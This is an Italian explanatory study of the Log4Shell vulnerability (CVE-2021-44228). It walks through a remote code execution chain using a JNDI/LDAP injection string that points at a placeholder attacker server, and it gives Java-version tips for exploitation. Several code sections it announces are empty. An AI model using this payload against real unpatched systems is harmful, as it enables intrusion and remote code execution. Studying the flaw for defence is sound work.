
Studio della vulnerabilità CVE-2021-44228
Di seguito è riportato un processo dettagliato di un caso di iniezione remota sfruttando la vulnerabilità log4shell. Per prima cosa, ci sono 3 parti da conoscere:
Log4j2 consente la registrazione di dati utilizzando una funzione chiamata message lookup substitution, in cui i messaggi di log possono includere dati recuperati dinamicamente da varie fonti. (Supporta JNDI Lookup)
JNDI Lookup: Consente di recuperare dati tramite l'API Java Naming and Directory Interface (JNDI), che può interagire con diversi servizi di directory

LDAP (Lightweight Directory Access Protocol): Utilizzato principalmente per accedere e gestire servizi di informazioni di directory su una rete.
Ecco un semplice esempio di Remote Code Execution:

L'hacker configura sia un server LDAP (accessibile tramite protocollo LDAP, con un riferimento a codice Java malevolo) che un server HTTP (il luogo in cui archiviare il codice malevolo)
Configura un server HTTP nella directory che contiene il codice malevolo compilato:

Configura un server LDAP che memorizzi il riferimento:

L'hacker invia un input malevolo (${jndi:ldap://LDAPSERVER IP:PORT/code}) al sistema software che ha installato log4j2

Log4j2 utilizza la funzione di lookup per inviare una richiesta al server LDAP
Il server LDAP reindirizza le richieste ai server HTTP tramite i riferimenti al codice Java memorizzati nei server LDAP
Il server HTTP invia il codice malevolo al sistema software, che lo esegue.
Codice malevolo:

Esecuzione del codice malevolo riuscita:

IMPORTANTE:
Non è che possiamo usare solo il server LDAP per eseguire codice in remoto; possiamo anche usare altri metodi (come RMI) purché log4j2 esegua con successo la message lookup substitution ed esegua il codice malevolo
Versioni diverse di Java possono rendere il processo di exploit differente (qui stiamo usando java 1.8u112).
Si raccomanda di utilizzare la stessa versione di Java nel codice malevolo del software (server che utilizzano log4j2) o al massimo non superiore alla versione Java del software.

Il codice di lookup in Log4j2:
